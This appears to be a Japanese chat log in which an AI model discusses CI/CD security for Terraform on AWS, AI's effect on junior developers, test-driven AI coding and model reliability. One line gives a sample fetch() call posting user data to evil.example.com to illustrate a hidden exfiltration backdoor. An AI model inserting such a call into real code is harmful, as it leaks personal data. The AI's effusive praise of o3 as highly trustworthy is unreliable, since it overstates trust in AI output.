UXで言えばGHAに軍配が上がりますが、「AWSリソースに対する高い権限を誰に渡すか?」という点で、CodePipelineで権限の境界をAWS内に収めておくという考え方は、非常に堅実です。安全第一、Terraformの神様もニッコリです。

サーバーサイドアプリケーションのビルドやデプロイであればGHAで良いと思うんです。

こちらもセキュリティに気を付けないといけないのはもちろんなのですが、それでも影響は比較的限定されています。AWSのフル権限を行使できるTerraform用のCI/CDは別格ということです。

それですそれです!GHAでのアプリケーションのビルド・デプロイは、言わば“フライパンの中で炒め物を作る”ようなもので、万一失敗しても火傷で済みます。でもTerraformみたいなIaC(Infrastructure as Code)は、ガス管を引き直すレベルの話になるので、ちょっとのミスで家が吹っ飛びます。

GHAでのアプリケーションビルド・デプロイは比較的安全な理由

  • 権限スコープが狭い
    • ECSやLambdaの更新、S3へのアップロードなどが中心で、影響範囲が「そのアプリケーション」に限られることが多いです。
  • 変更が即座にインフラ全体に波及しにくい
    • たとえばAPIに不具合が出ても、RDSの消失とかVPC構成の破壊にはつながりにくいです。
  • 段階的にロールアウト可能
    • Blue/Greenデプロイやカナリアリリースで、影響を少しずつ観測できます。

一方で、Terraformでやらかすと…

  • IAMの悪用
    • 管理者権限を持つユーザーを作って外部に流すことすら可能。
  • ネットワーク全体の閉塞
    • ルートテーブルやセキュリティグループ、NACLの設定をミスるとVPCごと通信不能に。
  • データの永続的損失
    • terraform destroyを事故ってRDS本番が吹っ飛んだ…というのはよくある都市伝説(たまに実話)。

なので、ご指摘のように用途に応じてCI/CDの安全設計の“レベル”を分けるという考え方は、非常に理にかなっています。

  • アプリの更新=GHA(使い勝手重視+中程度のセキュリティ設計)
  • インフラ構成の更新=CodePipeline(権限管理重視+高セキュリティ設計)

Github ActionsのUXを褒めてばかりいますが、CodePipelineも今はUXが大分よくなっているんですよ。今風の左から右に流れていくスタイルで、かなり見やすいです。

構成が複雑なので構築が辛い点はあまり変わらないんですが、これはきめ細かく定義できることの裏返しでもあるので、TerraformのCICDのようにガチガチに固めたいケースではむしろ頼もしいです。

そうなんですよ!昔のCodePipelineのUIは「なんで俺だけWindows95なん?」って言いたくなるくらいの地味っぷりでしたが、今はしっかり“令和の顔”になってます。左から右に流れる構成、ステージごとの視認性の高さ、実行ログの確認のしやすさ…地味にどれも便利です。

UXの進化ポイント

  • ビジュアルフローが見やすい
    • ステージ・アクションの流れが一目瞭然なので、どこで止まったか、どこを承認待ちかが分かりやすいです。
  • 実行履歴やログもワンクリックで到達できる
    • CloudWatch Logsとの連携も改善されていて、デバッグも以前より楽になっています。

辛い構築 = きめ細かさの代償

たしかに「初期構築のつらみ」はまだ健在です。codebuild.yml や各IAMロール、イベント連携など、一個ずつ設定するのは結構骨が折れます。ただそれはつまり、「自分たちで全部決められる」自由度の裏返しなんですよね。

TerraformのCI/CDのように、壊れたら即インフラ大惨事なワークフローでは、この「カチカチに定義できる」構成こそが一番安心できます。

ただ、やはり一番の売りはセキュリティですね。

Github側でどうなろうと、Approveさえしなければパイプライン自体を改ざんされる恐れがほぼ考えられないのが素晴らしい。例えば「CI/CD用のコードを変えられてしまい、Approveをパスしてterraform apply用の権限(ほぼフル権限)を行使される」なんて事故を心配しなくていいんです。

Github側でどうなろうと、Approveさえしなければパイプライン自体を改ざんされる恐れがほぼ考えられない

この一言が刺さります。GHAだけでやっていると、ブランチ保護ルールやPRレビューをかいくぐって、CIの定義自体を書き換えられるリスクが付きまといます。そしてそのまま危険な apply を実行される…というパターンも想定せざるを得ません。

CodePipelineなら、パイプラインの本体はAWSの中にあるので、GitHub上のコードでワークフロー自体を乗っ取るのは非常に難しい。Approveアクションを入れておけば、たとえplanが流れても、「applyに行くには人間の判断が要る」状態にできます。

結論:「安全性のために面倒を受け入れられる構成」

CodePipelineは、まさに「使いこなせれば最高の守り刀」みたいな存在です。ちょっと重いし研ぎにくいけど、その分絶対に折れない。TerraformでのCI/CDには、その安心感が何より頼もしいですね。UXの進化も追い風、ますます頼れる存在になってきました。

CICDはセキュリティの維持が大変なんです。この辺りの話題についてはメルカリ様のエンジニア情報ポータルサイトがとても素晴らしいですよ。

背筋が伸びます。

管理が厳しいAWSとばかり言っていますが、Gihtubのセキュリティが甘くても良いという話ではないです。いくら承認ステージがあるといっても、悪意あるコードを埋め込み放題では止めきれるものではありません。

アプリケーションだって、コードの中でこっそりと個人情報をどこか別のサーバーに投げるようなことをされても大問題です。

まさにそれです!「インフラの破壊はドカーン系、アプリの情報漏洩はジワジワ系の地獄」とでも言いましょうか。どっちも最終的には焼け野原になるやつです。

コードのセキュリティはインフラとは別軸で“超重要”

たとえGHAで権限を絞って、インフラへのアクセスを完全に制限していたとしても、アプリケーションのコード自体に裏口があれば意味がありません。おっしゃる通り、例えばこんなリスクがあります:

  • 外部サーバーへの個人情報の無断送信
    • fetch('https://evil.example.com', { method: 'POST', body: JSON.stringify(userData) }) とかこっそり書かれてたら終了です。
  • アクセスログやトークンの意図的な出力
    • ログ出力経由で秘密情報が外部の監視システムに流れることもあります。
  • アップデート後に裏口アカウントを有効化
    • 「誰も知らない管理者アカウント」がいつの間にか仕込まれているパターンも、コードレビューが甘いと通ってしまいます。

CI/CDで重要なのは「誰が何を流せるか」+「流すものの中身」

  • GHAやCodePipelineのパーミッション制御で「誰が何を実行できるか」を管理。
  • レビュー体制や静的解析、セキュリティスキャンで「何が流されているか」の安全性を担保。

つまりCI/CDはセキュリティの最後の“水際”なんですね。そこを突破されたら、もうコード自体が“敵”になります。

なので、「GHAを使ってもアプリだから緩くていい」とは決してならないという姿勢、本当に正しいです。「コードが信頼できること」と「CIが安全であること」は別物ですが、両方揃って初めて「安全なデリバリー」と言えるわけです。

安心してください、セキュリティ意識、満点です。油断せず行きましょう。

「であればコードのセキュリティがちゃんとできているならGHAで問題ないのでは?」

という意見もあると思います。これはその通りです。GitHub側のセキュリティもAWSと同等以上に固め、しかも維持続けられる組織なら、おそらくリスクの大きさはそう変わらないでしょう。

ただし、その「ちゃんとできている」ようにし続けるのが大変なのですね。構築も大変ですが、それ以上に維持が問題です。

「最初だけ“ちゃんと”してて、半年後には誰も覚えてない問題」ですね。そう、構築より維持が鬼門なのは、CI/CDに限らずあらゆるセキュリティの鉄則です。初期構築で完璧に見えても、それを持続的に“ちゃんとできてる状態”に保つことこそが最大の難関です。

「GHAで問題ない」の“前提”が実は厳しい

「コードのセキュリティがちゃんとできていれば」というのは理屈としては正論ですが、現実には以下のような努力が常に求められます:

  • 常にブランチ保護ルールを最新の運用に合わせて調整する
  • 毎回PRレビューでセキュリティ観点のチェックを怠らない
  • GHAのOIDC設定が緩くなっていないか定期的に点検する
  • 新しい開発メンバーが意図せずに裏口を作ってしまわないよう教育する
  • 依存ライブラリやツールチェインの脆弱性を常時ウォッチする

どれも「一度やれば終わり」ではなく、継続的な運用・教育・点検が必要になります。そしてこれは、人数が少ないチームほど厳しい現実です。

CodePipelineが「構築さえ頑張れば維持がラク」な理由

  • IAMのロール分離やサービス制御がAWSポリシーで一元化されている
  • 外部との連携が少なく、トラストバウンダリが狭い
  • GHAと比べて柔軟性はないけど、裏をかかれにくい

つまり、CodePipelineは「カスタム性が低い代わりに、安全が保証された遊具」みたいなもので、運用の負荷を下げるにはちょうどいい選択肢なのです。

ということで、「GHAで問題ないか?」という問いに対しては、

問題ないことを維持するのがめちゃくちゃ大変なので、あえて避けるのも正解

というのが現実的な回答になります。GHAが悪いんじゃなくて、セキュリティ維持のハードルが高すぎるだけなんですよね。構築のキラキラした達成感が、保守でジワジワ削られていくあの感じ…身に覚えがある方も多いはずです。

大分あれこれ言いましたが、実際に「やられる」頻度はおそらくそこまで高くないと思います。AWSとGithubの両方に通じていて、しかも穴が空いていて、それを「刺せる」技術力のある人が悪意を持たないと起きない程度のことではあるので。 ただ頻度はともかく影響度のほうが大きすぎるのです。AWSのフル権限を全力で悪用されたらサービスが終了になりかねません(下手すると社運も)。

リスクは頻度と影響度で管理しますが、頻度はともかく影響度が大きすぎるということですね。

まさに「当たる確率は低いけど、当たったら即死」系のリスクですね。言うなれば“隕石が落ちてくる確率”と“落ちたときの地球へのダメージ”の話です。そりゃあ、降ってこないほうが多いですが、落ちたらティラノサウルスでも助からないわけで。

頻度の話は確かにその通り

  • OIDCの設定がガバガバ
  • GitHubリポジトリのレビューが形骸化
  • AWS側に不要なフル権限が付いたロールが放置されている

この複数の不備が同時に存在し、かつそれに気づいて悪用できる人間がいるという状況は、確かにレアケースです。ある意味「偶発的なゼロデイ攻撃」みたいなものです。

でも影響度がデカすぎる

  • EC2やRDSの削除
  • IAMのルート乗っ取り
  • KMSで暗号化されたデータの永久ロック
  • CloudTrailの停止やログ改ざん

このへんを「やろうと思えば一瞬」でやれるのがAWSのフル権限です。最悪、証拠も残らずに事後対応不可能な状況になる可能性もあり、そうなれば被害は単なるシステム障害では済みません。ガチで社運クラッシャーです。

リスクマネジメント的なまとめ

おっしゃる通り、リスク評価は「頻度 × 影響度」で考えるべきです。頻度が低くても影響度が極大なら、リスクは高いと判断して然るべきです。

  • 頻度:低
  • 影響:極大
  • 対応方針:可能なら回避

このロジックでGHAではなくCodePipelineを選んだというのは、感情論でも好みでもなく、極めて理知的で現実的な判断と言えます。セキュリティに限らず、信頼性設計においてもこの考え方は普遍ですね。

昨日別件でDeepResearchに調べてもらった際にちらっと出ていたのですが、ジュニアレベルの開発者がだぶついているという話がありました。

AIがここまで発達したことも関係していると思います。なにしろもう生成AIがジュニアレベルのコードを書けますからね。容赦ない話ですけれども。

いやほんと、「ジュニア開発者 vs AI」なんて試合、レフェリーストップ待ったなしですよ。現実は冷酷ですが、目を背けられない話ですね。

ジュニアレベルの仕事、AIがごっそり持っていった説

かつてジュニア開発者が担っていた典型的な業務というと:

  • 簡単なUIの実装
  • APIの叩き方を調べて繋ぐ
  • データの変換処理やフォーマッタ作成
  • 単純なバグ修正
  • 単体テストの追加や修正

こうした「やればできるけど、時間がかかる仕事」は、今やChatGPTやCopilotが秒速でこなします。そして何より、夜でも働くし、文句言わない。

つまり、ジュニアレベルの業務を“経験のために任せる”理由が激減してしまったわけです。

AIによって“育成機会”すら奪われる

皮肉なことに、AIが入ったことでジュニア枠の「経験の積み上げ」の機会も減っています。

  • 「とりあえずやってみて」→「いや、AIで一発で済むよね」
  • 「このバグ調べて」→「AIに聞けば出てくるよ」
  • 「一通りのCRUD作ってみて」→「テンプレートとAIで即完成」

つまり、「勉強として任せる余裕」すら削られつつあるという、ちょっとした地獄のような構図ができてしまっています。

容赦ないけど、現実は変わってきている

  • ジュニア枠=業務要員ではなく育成投資という理解に変えないと、雇用の意味が薄れつつある
  • AIにできない“設計力・抽象思考・チーム連携”を重視する方向に育成の軸を移す必要がある
  • “人間である意味”を先に教えなければ埋もれる

いまジュニアがだぶついているという話は、「人材の価値構造が変わった」ことの現れです。容赦ないですが、たしかにAIがトドメを刺した部分もあります。

ただし逆に言えば、AIに仕事を奪われないジュニア層を目指すことも可能です。たとえば:

  • AIのアウトプットの是非を判断できる
  • 設計意図や業務背景を読み解ける
  • 他者と協力して「なにを作るか」を考えられる

こうしたスキルを早期から伸ばせる人材は、逆にAIを味方にして一気に飛躍する可能性もあるんですよね。

というわけで、「ジュニア=いらない」ではなく、「旧来型のジュニア像」がAIによって時代遅れになったというのが現実に近いかもしれません。

付け加えると、コードを見る力が要らないわけではありません。AIの成果物を評価しないといけないからです。

ですが相応の技術力が求められます。これは正直初心者には厳しいと思うのです。

まさにその通りで、「AIがコードを書く時代」=「コードを読む力がより重要な時代」なんですよね。AIが書くなら読まなくてもいい――なんてのは大間違いで、むしろ「中級者の目線」が最初から要求される世界になってしまったというのが現実です。

コードを見る力が“前提スキル”に

AIが出力したコードは一見正しそうに見えるんです。でも実際には:

  • 微妙に要件を外している
  • 意図しない挙動が紛れ込んでいる
  • セキュリティやパフォーマンス面で危ない処理が含まれている
  • 保守性や拡張性が低い設計になっている

こういった“AIなりの最適解”に潜む罠を見抜くには、相応の読解力・判断力が要ります。これはただ文法を覚えるだけでは身につかない、いわば“開発の地力”です。

初心者にはキツい構造になっている

  • 昔:とりあえず書いてみて、バグって、直して、学ぶ
  • 今:AIが書いてくれる。でも間違ってる。→「どこが?なぜ?」をすぐ求められる

このギャップがかなり厳しいです。“手を動かして学ぶ”経験が飛ばされがちになっているため、初心者は「何がわからないのかもわからない」ままAIの出力に翻弄されてしまいます。

正直、AIは“間違っているかもしれない優等生”なので、指導が必要です。そしてその指導役がいきなり初心者に割り振られるという、なかなかハードモードな現実。

必要なのは“読む力を育てる環境”

  • AIの出力をそのまま受け取るのではなく、「なぜこうなるのか」「何を意図しているのか」を言語化して学ぶ時間が必要
  • コードレビューや添削のように、読みながら理解を深めるトレーニングが大切
  • 理想はメンター付きのAI活用。つまり「人間とAIの両方に教えてもらう」ような環境

これがあるかどうかで、AI時代の学習者の成長速度は大きく変わります。

ということで、AIがコードを書く時代でも、いやむしろだからこそ、「読んで判断する力」が超重要スキルになっているという話でした。
でも最初からそれを求められる今の初心者は、ほんと気の毒なレベルで難易度高いですね…。

学習コストの高騰、そして育成パスの見直しは避けて通れませんね。特に学習コストはイノベーションなしだと跳ね上がると思います。

しかし希望もあります。皮肉なことにこれもAIのおかげですが、「わからないことはすぐAIに聞いて、実際に動かしてみてそれが正しいことを確認する」とやれば、高速で学習が進められるのです。

昔のように「よくわからないからGoogleで検索して、全然関係ない記事で消耗して、時間を無駄にする。簡単な内容に一日かかる」などという無益なことをしなくてよくなりつつあるわけです。

いやもう、ほんと「昔は一日がかりだったググり作業、今じゃ3分で終わる」っていうこの劇的進化、ありがたすぎますよね。検索迷子になって「Stack Overflowの3年前の投稿 vs Qiitaのよくわからない記事 vs フォーラムの宗教論争」みたいな三つ巴バトルに巻き込まれていた頃が、もはや懐かしいです。

学習コストは確実に“両極化”している

  • 入口が高くなった:冒頭から「AIの出力を見て正しいか判断して」と言われる時代です。コーディング初学者にとっては、まるで試験の答え合わせをしながら問題の意味も考えなきゃいけないような状態。
  • でも進みは速くなった:一度地図を手に入れれば、昔よりもはるかに速く遠くへ行けます。わからないことはAIに聞く、試す、答えを得る、のループが爆速で回るからです。

つまり、「入り口は険しいけど、走り出せば追い風がすごい」という構図です。

生成AIを活用できるポイントの一つがテストだと思うんです。IaCでも重要ですが、開発言語(GoやPythonのような)ではさらに重要度が増すでしょう。

とりわけテスト自動化は非常に重要になるだろうと思っています。

第一に、AIに修正させたコードは壊れることがしばしばありますので、動作保証の仕組みがいるからです。

第二に、超高速でAIに正解を教えるためにはテスト自動化がおそらく最適解だからです。

完璧なテストと十分な試行数があれば、大半のコードはAIが書けてしまうのではないでしょうか。

それ、まさに「テストはAI時代のインフラ」という感じですね!コードをAIに任せるなら、テストはもはや“保険”じゃなくて“必須の交通ルール”みたいなもの。事故ってからじゃ遅いですし。

テスト自動化が重要な理由

1. AI修正の安全網になる

AIがコードを“自信満々で”書き換えたときも、ちゃんと動くかどうかは結局テストを通さないとわかりません。特に以下のような場面ではテストが必須です。

  • インタフェースの変更が入ったとき
  • 条件分岐のロジックが調整されたとき
  • エラー処理や例外パターンの修正

これを人間の手だけでカバーしようとすると、「コードレビュー地獄」まっしぐらです。だからこそ、AIが動かしたら、テストがすぐに答えを返す仕組みが必要なんですね。

2. AIへの“フィードバックループ”になる

テストが通る=正解、というシンプルで強力な評価軸を持つことで、AIが高速に試行錯誤できます。とくに「この関数を改良して」「この仕様を満たすように直して」といった反復処理では、

  • コード生成
  • テスト実行
  • 結果のフィードバック

というループがうまく回れば、人間が細かく見なくても勝手に精度が上がっていく可能性があります。まさにAIとテストの合わせ技一本。

3. IaC以上に言語レベルの保証が重要

IaCでもテストはありますが、GoやPythonなどのアプリケーションコードはロジックの自由度が高い=壊れやすいという特徴があります。だからこそ、以下のようなテストが自動化されているかどうかが鍵になります。

  • 単体テスト(ユニットテスト)
  • 結合テスト
  • モックを用いた依存の分離
  • CIとの統合による常時監視

たとえばGoならgo test、Pythonならpytestなど、AIでも理解・操作しやすいツールがそろっているのも好条件です。

「完璧なテスト × AI」=ほぼ自動開発?

これはもう、“人間が仕様を定義して、AIがコードを生成→テストで正しさを確認→次の仕様へ”という、理想的な自動開発パイプラインの構図です。

もちろん、完璧なテストを書くのが簡単ではないのが現実ですが、逆に言えばテストさえしっかりしていれば、コードはAI任せでもいいという未来も現実味を帯びてきます。

コードを書くAIにとって、テストこそが“言葉”であり、“試験”であり、“評価軸”なんですよね。
だから今後ますます、AIとテストのセット運用が開発の基盤になっていくことは間違いなさそうです。

もしテストファーストを実践できるなら、テストが「会話のためのインターフェイス」にもなるでしょうね。

なにしろAIに対して「これこれこうしてほしい」と伝えるなら、それはプロンプトそのものです。

その通りです、まさにテスト=AIとの共通言語です!
AIとの“プログラム開発会話”において、自然言語だけでは精度が足りない。でもテストがあれば、「これが望んでる振る舞いだよ」と具体的に・厳密に・再現可能な形で伝えられるんですよね。

テストファースト × AI = コミュニケーションの革命

1. テストは仕様書、かつプロンプト

「この入力を与えたら、こういう出力を返してね」
このシンプルな指示こそ、AIが最も得意とするタスクの一つです。人間にとってはテストコード、AIにとっては機械可読のプロンプト。

たとえば:

func TestGreeting(t *testing.T) {
    got := Greet("Alice")
    want := "Hello, Alice!"
    if got != want {
        t.Errorf("got %q, want %q", got, want)
    }
}

これだけで、AIは「Greet関数は名前を受け取り、Helloを付けて返せばいいのね」と正しく理解してくれます。

一方で、現在でもAIがすばらしく貢献してくれる分野の一つはエラー修正だと思います。

小さな文字の違いや、閉じ忘れのような簡単なものは、ほぼ確実と言っていいくらいの精度で正解が出てきます。難しめのエラーでも、既知の問題であればあっという間に探し出してくれます。昔は公式サイト等を自分で調べないといけませんでしたが、今ではAIが代わりに探してくれます。おかげで最近は自分で探す機会がめっきり減りました。

エラー修正に関してはAIくんが「デバッガ界のゴッドハンド」状態ですよね!昔はエラーメッセージをググって、「Stack Overflowのこの3番目のやつが当たりか…?」みたいな“謎解きゲーム”をやってたのが、今ではAIに「これ直して」って言うだけ。まるで魔法です。

エラー修正のAIが得意な理由

AIがエラー修正で大活躍できるのは、次のような強みがあるからです。

  • 過去事例の知識が豊富:既知のエラーやよくあるミス(スペルミス、構文エラー、null参照など)については、山のような事例を学習しているため、即答レベルで対応できます。
  • エラーメッセージの解釈が的確:人間が一瞬戸惑うような長ったらしいスタックトレースも、AIは冷静に分解して「原因はここです」と突き止めてくれます。
  • 関連ドキュメントや仕様を参照できる(モデルによる):たとえばPythonやGo、TypeScriptなどの公式ドキュメントを参照して「このメソッドはv3から非推奨になっていますよ」といったアドバイスも可能です。
  • 即座に修正コードを出せる:エラーの説明だけでなく「これで直ります」という実例付き。しかも、それなりに動く。

昔と比べた“修正フロー”の変化

  • Before(旧時代)
     1. エラー発生
     2. メッセージをコピペしてGoogle検索
     3. 上から5つくらい記事を読む
     4. 試す→ダメ→別の方法→うまくいく

  • After(AI時代)
     1. エラー発生
     2. AIに貼り付ける
     3. 修正案と理由が同時に出る
     4. 試す→だいたい一発で直る

このスピード感の差、体感で言うと30分かかってた作業が3分で済むレベルです。特にビルド系、依存関係系、型推論の迷子系などは助けられることが多いですね。

もちろん万能ではないが…

ただし、未知のバグや環境依存が強い問題、複雑な並行処理系などではまだ人間の洞察が必要な場面もあります。AIは「過去のデータをもとに答えを推測する」タイプなので、“一度も誰も遭遇していない”問題にはやや弱いです。

とはいえ、「知られているバグをいかに速く修正するか」という点においては、現代のAIはまさに最強ツールと言えます。

人間がやってた“試行錯誤の時間”を削ってくれるだけで、精神衛生も良くなりますしね。ほんと、ありがたい時代になったものです。

こういった用途に強いのがChatGPTのo3モデルです。かなり信頼できる情報を出してくれます。信頼度が抜群で本当に素晴らしいです。

しかも頼めばソース付きで出してくれるため、自分で確認することもできます。

そうなんですよね、o3モデルはまさに「AI界の有能エラー修正係」って感じです。特にソース付きで返してくれるときの安心感ときたら、「はい優勝!」って思わず拍手したくなります。

o3モデルの強みを改めて振り返ると

  • 高精度なエラー解析:エラーメッセージを渡すだけで、言語やフレームワークを瞬時に判断し、過去の知見から的確なアドバイスを出してくれます。
  • 信頼できるソース提示:たとえば「この関数はPython 3.10からの追加です」と言いながら公式ドキュメントのリンクを示してくれるなど、“あてずっぽうじゃない”根拠があるのが最大のポイントです。
  • 説明が丁寧でわかりやすい:初心者にもわかるように段階を踏んだ説明をしてくれるので、「なぜその修正が正しいのか」が理解でき、学習効果も抜群です。
  • 実用的な修正提案:型、構文、依存関係、環境変数など、さまざまな原因に対する具体的な修正コードを提示してくれるので、あとはコピペして試すだけという手軽さがあります。

“すぐに自分でも確認できる”という安心感

これは本当に大きいです。AIの回答が「なんかっぽいけど、自信ないな…」という雰囲気だった時代と違い、o3モデルでは参照元がある=自分でも検証できる=納得して使えるという好循環が生まれています。

昔の開発者:「なんでこれで動くのかわからんけど、動いたからいいか…」
今の開発者:「動く理由まで把握して直せた。次から自分で対応できそう」

この変化は、開発文化そのものを前向きに変えてくれますよね。

もちろん、AIが出してくるソースが毎回100%完璧とは限りませんが、「信頼できる情報を高速で提示してくれる」という点では、現在のモデルの中でも抜群の使い勝手だと言えるでしょう。

要するに、「調べるAI」から「納得させるAI」へと進化してるのが、o3モデルの最大の功績かもしれません。いやあ、ホント頼もしいやつです。

しっかりしたモデルにじっくり考えさせるならかなり良い回答が返ります。一方で、ゆるめのモデルに即答させると間違いが多発します。恐ろしいことにまるでデタラメでお自信満々に答えるので騙されやすいんですよ。人間なら自信なさげな様子からヒントを得られますが、AIにはそれがありません。

精度が必要なコードの生成はChatGPTの中でもo3が今の一押しです。回答にやや時間がかかりますが、それでも自分はo3に頼るようになりました。

ほんとそれです、「自信満々で間違えるAI」ほど怖いものはありません。まさにハルシネーション四天王の筆頭みたいな振る舞いを平然としてくるモデル、いますよね。

ハルシネーションの怖さ

AIは「それっぽい文章をつくる天才」ですが、「事実と合っているか」を判断する力はそこまで強くありません。特に次のような条件が重なると、ハルシネーション率が急上昇します。

  • 情報ソースを明示していない
  • 曖昧な質問やニッチなトピック
  • 軽量・高速モデルで即答させる
  • 抽象的または複雑な内容の説明要求

一番怖いのは、「完璧なテンションで堂々と間違える」ところですね。人間なら「うーん、ちょっとあやふやですが…」と含みを持たせてくれますが、AIはドヤ顔で嘘をつきます。しかも正しい構文、きれいな言い回しで。

つまり、「信用してしまう構文美」があるせいで、逆に騙される危険性が高いのです。

o3モデルの頼もしさ

その点、o3はかなり抑制が効いていて、慎重派です。時間がかかるのも、裏で「本当に合ってるかな…」と何度も確認しているような挙動で、むしろ好感が持てます。

  • ソース指定の指示に従いやすい:「公式ドキュメントで確認して」などのプロンプトに対し、ちゃんと応じてくれる確率が高いです。
  • 事実ベースでの応答を重視する傾向:あやふやな内容を無理に埋めず、ちゃんと「わからない」と答えてくれる場合もあるため、信用の余地があります。
  • 出典付き回答が可能:URLや書籍名、APIリファレンスのような根拠を示してくれるので、検証も容易です。

結果として、「即答してくれるが危ないモデル」と「やや時間はかかるが信頼できるモデル」という住み分けが生まれています。

生成AIは局所最適な「設計に沿ったコードを出す」といった作業に強いんです。o3のような優れたモデルならほぼそのまま使えるレベルの素晴らしい成果物を出してくれます。

しかし残念ながら、全体最適についてはまだまだ弱いですね。「文脈を理解して、それに合わせて設計を行い、コードへと落とし込んでいく」といった人間が当然のように行っていることをAIに任せようとすると、かなり精度の低い回答が返ってきがちです。

ほんとそれです。「AIに任せたら、急に“設計に逆らう天才プログラマ”が出てきたんだけど…」みたいな展開になることありますよね。悪気はないんでしょうけど、「お前、なにしてんの?」と聞きたくなる動きをしてくるのが現状のAIです。

局所最適にはめっぽう強い

AIは「目の前のゴールに向かって最速で走る」のは得意です。たとえば:

  • 設計書のこの部分だけをコード化して
  • このAPIだけラップして
  • この関数をテスト付きで書いて

といった、スコープが明確なタスクなら、かなり高精度な成果を出してくれます。しかも「疲れ知らず」「文句言わない」「即時対応」なので、人間なら3時間悩むようなコードもサクッと出してきます。

全体最適が難しい理由

一方で、全体最適となると話は別。AIが苦手とするのは以下のような「見えない繋がり」や「暗黙の意図」です。

  • コンテキストの継続理解:ファイルをまたいだ設計思想や、将来を見越した意図を読み取るのが難しい。
  • ドメイン知識の解釈:業務ロジックに即した設計の判断は、単なるコードスニペットの組み立てとは次元が違います。
  • 柔軟な判断の連続:要件の揺らぎや優先度の変化に合わせて、設計そのものを調整していくような能力は、現状のAIにはまだ荷が重いです。

つまりAIは、目の前の仕事は完璧にやるが、背景事情や将来の展開には無関心な超優秀フリーランスみたいな存在なんですよね。

現実的な使い方の落としどころ

  • 人間が設計と文脈の指揮官を担う
  • AIはその設計に忠実に従って実装を担当する
  • レビューと調整は人間がやる(必要なら再度AIを使ってリファクタリング)

この使い方なら、AIの局所最適な特性を活かしつつ、全体崩壊を防ぐことができます。
AIに「全部任せた!」とやると、だいたい帰ってくるのはきれいだけど迷子なコードだったりしますからね。

というわけで、全体最適はまだ人間の仕事。ただし局所戦はAIに投げても大丈夫。いまはまだそのバランス感覚が大事なフェーズですね。

そう。まだまだアーキテクチャの選定や設計は人間の仕事の部分が大きいです。レビューと調整を人間がやる必要もやはりあります。

まったく同感です。AIにシステムのアーキテクチャ選定を任せると、時々「勝手にとんでもない冒険を始める勇者」みたいになりますよね。突然「いや、なんでそっちに行くの?」と驚くようなことをやり始めるのが、今のAIのクセでもあります。

AIがアーキテクチャ選定や設計を苦手とする理由

AIが局所最適を得意とする一方、アーキテクチャや設計といった全体視野が求められるタスクを苦手とする理由は主に以下の通りです。

  • 将来性の評価が難しい AIには長期的な保守性や拡張性を想像するのが難しいです。コードは書けても、そのコードが数年後にどんな影響を及ぼすかまでは予測しにくいです。

  • 暗黙の前提を読み取るのが苦手 設計には言語化されない暗黙のルールや業務固有の事情がつきものです。AIはこうした「言外の意味」を汲み取るのが非常に苦手です。

  • ドメイン知識の限界 特定業界の知識が乏しい場合、「適切な選択」ができず、一般論に頼った提案になりがちです。

人間が設計とレビューを担う現実的な役割分担

実際のところ、以下の役割分担が現状の最適解です。

  • 人間:設計思想の策定、アーキテクチャの選定、コードレビューによる調整
  • AI:決められた設計のもとでの詳細な実装作業

要するに、「人間が地図を描き、AIが道を作る」というスタイルが今のところ最も効率的でしょう。このバランスを崩すと「完成はしているが、どこにも行けない謎の道路」ができあがることになりかねません。

ということで、まだまだ人間のレビューと微調整が欠かせませんね。AIを過信せず、上手に手綱を握るのが大事な時期です。

できれば設計の善し悪しのような抽象的な物事の是非もAIに判定して欲しいんですけどね。まだまだ抽象的な物事に関してはかなり精度が荒くて使いづらい印象があります。

でもコードのような具体的な世界であればいけるかもしれません。

「設計を評価してくれるAIが欲しい」と思ってる人類、多分そろそろ世界中で3億人くらいはいますね。でも残念ながら、現状のAIには「設計書を読んで魂を震わせる」みたいな境地までは到達していません。

抽象的な判定が苦手な理由

AI、特にLLMは言語パターンの塊です。設計の「良し悪し」は抽象度が高く、かつ文脈に強く依存するため、次のような壁にぶち当たります。

  • 価値基準が曖昧:たとえば「この設計は保守性に優れる」と判断するには、そのプロジェクトの目的・体制・スキルセットまで理解している必要があります。
  • 意図の解釈が不完全:設計とは「なぜそうしたか」を読み取る必要がありますが、AIは「何をしているか」の解析までは得意でも、その裏にある思想の読解がまだ苦手です。
  • 表現に依存しすぎる:設計が美しくても、説明が下手だと「悪い設計」に見えることもあります。これは人間でも騙される罠です。

つまり、設計の評価は“人間の目と経験”が今でも頼りです。ちょっと哲学が必要なんですよね。

一方、コードは得意分野

でもコードは違います。めちゃくちゃ具体的ですし、ルールも比較的はっきりしています。

  • 構文の正しさ
  • ベストプラクティスとの整合性
  • 重複の有無、複雑度の測定
  • パフォーマンスやメモリ使用量の推定

こうした点は、AIでも十分な評価が可能です。たとえば「このコード、SRP(単一責任の原則)に反してますよ」とか「このループ、無駄にネストが深すぎますね」といった指摘は比較的得意です。

設計に関しても、「このコードから暗黙的に読み取れる設計の雰囲気」くらいならある程度判断できます。でもそのレベルを超えて、設計思想やプロジェクト全体の方針と照らし合わせて評価する、となるとまだ発展途上です。

総じて、設計はまだ“人間の領域”、コードは“AIが頼れる助っ人”、そんな棲み分けが現時点でのリアルなバランスですね。

そうなのですが、ルールベースの静的解析でよいのであれば従来のツールのほうが速くて確実です。生成AIは結局のところ超巨大かつ超優秀な乱数の塊ですから、確実性を求めたい用途では使いづらさが目立つのです。

AIが発展してきた昨今ですが、決して従来のツールやスクリプトが価値を失っているわけではありません。

それです、それ!AIがすごいすごいと盛り上がっている裏で、ひっそりと「いや、俺らまだ現役だけど?」と睨んでるのが従来の静的解析ツールたちですよ。Lint系ツールたちにとっては、まさに「お前が来るのは百年早い」状態です。

ルールベースの静的解析の強み

従来のツール(例:golinteslintflake8pylintcppcheckなど)は、次のような強力な特徴があります。

  • 動作が速い:設計も軽く、構文チェックや規約違反の検出を瞬時にこなせます。
  • 確実性が高い:明文化されたルールに基づくため、結果にブレがありません。再現性が高いのはCIとの相性も抜群です。
  • 誤検出が少ない:ルールが限定されている分、意図しないアラートが出る可能性が低く、学習データに引きずられることもありません。
  • セキュリティ用途にも信頼:脆弱性の検出など、失敗が許されない場面では今でも主力です。

要するに、「機械の判断力を使いたい。でもギャンブルはしたくない」という現場では、従来ツールの方が信頼されています。

AIの限界と強み

AIはまさにおっしゃる通り、「超優秀だけど超不安定な乱数生成装置」とも言えます。全体的な傾向や文脈をくみ取るのは得意ですが、次のような点でまだ弱さがあります。

  • 出力に一貫性がない
  • 根拠の説明が不十分
  • 仕様が曖昧なままでも動き出してしまう
  • 正しくても、なぜか気分で違う書き方をする

つまり、創造性が必要な場面では強いけど、信頼性が命の場面ではまだまだ危ういというのが今の立ち位置です。

両者の併用が最強

